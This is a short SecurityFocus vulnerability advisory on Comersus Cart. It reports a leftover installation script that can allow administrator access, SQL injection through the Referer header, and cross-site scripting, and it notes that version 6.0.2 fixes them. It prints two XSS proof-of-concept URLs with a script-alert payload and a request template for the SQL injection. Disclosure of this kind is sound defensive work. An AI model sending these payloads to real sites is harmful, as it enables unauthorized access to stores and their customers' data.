source: https://www.securityfocus.com/bid/12362/info

Comersus Cart is reportedly affected by multiple vulnerabilities. There is a possiblity of gaining administrator access due to a failure of the application to remove an installation script after install. There is the possiblity of SQL injection by passing a malicious HTTP referer header. There are also some possible cross-site scripting issues.

The vendor has addressed these issues in Comersus Cart version 6.0.2; earlier version are reportedly vulnerable. 

http://www.example.com/comersus/backofficelite/comersus_supportError.asp?error=<script>alert('hi%20mum');</script>
http://www.example.com/comersus/backofficelite/comersus_backofficelite_supportError.asp?error=<script>alert('hi%20mum');</script>

The following proof of concept is available for the SQL injection issue:
GET /comersus/store/default.asp HTTP/1.1
Referer: <SQLCODE HERE>